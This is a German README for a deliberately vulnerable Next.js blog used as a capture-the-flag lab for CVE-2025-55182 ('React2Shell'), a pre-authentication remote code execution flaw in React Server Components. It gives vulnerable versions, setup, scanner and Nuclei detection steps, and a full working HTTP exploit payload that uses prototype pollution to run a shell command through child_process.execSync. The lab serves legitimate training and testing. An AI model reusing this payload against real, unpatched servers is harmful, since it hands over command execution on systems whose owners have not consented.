CyberSec Blog CTF - React2Shell PoC

Dieses Repository stellt eine angreifbare CTF-Umgebung (Capture The Flag) bereit, die auf einem Cybersicherheits-Blog basiert und Next.js sowie React Server Components verwendet.

CVE-2025-55182 : Schwachstelle zur Ausführung von entferntem Code (RCE) vor der Authentifizierung in React Server Components in den Versionen 19.0.0, 19.1.0, 19.1.1 und 19.2.0. Der anfällige Code deserialisiert die Payloads von HTTP-Anfragen an Server-Function-Endpoints auf unsichere Weise.

CVE-2025-66478 : Auswirkungen auf Next.js-Anwendungen, die den App Router verwenden.

Beschreibung des CTF

Diese Challenge präsentiert einen Cybersicherheits-Blog mit:

5 Artikeln zu Sicherheitsthemen (Web, React, CTF, Next.js, Deserialisierung)
3 fiktiven Autoren
Einer modernen Oberfläche im Dunkelmodus

Der Blog verwendet anfällige Versionen von React und Next.js, wodurch die Ausnutzung der React2Shell-Schwachstelle ermöglicht wird.

Verwendete anfällige Versionen

Paket	Version
`next`	16.0.6
`react`	19.2.0
`react-dom`	19.2.0

So startest du das CTF

Mit Docker (empfohlen)

# Image erstellen
docker build -t react2shell-poc .

# Container starten
docker run --rm -p 127.0.0.1:3000:3000 react2shell-poc

Ohne Docker

npm install
npm run build
npm run start

Anschließend rufst du http://127.0.0.1:3000 auf

So erkennst du die Schwachstelle

Mit dem AssetNote-Scanner

git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt

python3 scanner.py -u http://127.0.0.1:3000

Mit Nuclei

nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000

So exploitierst du sie

Mit dem React2Shell-Tool

Siehe Ordner React2Shell/ für den Python-Exploit.

Manueller HTTP-Payload

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Die Antwort enthält das Ergebnis des id-Befehls im Header x-action-redirect.

Referenzen

Individuelles CTF-Challenge basierend auf der Vorlage simple-nextjs-blog und der anfälligen Umgebung CVE-2025-55182.

CVE-2025-55182-React2Shell-Lab

Beliebteste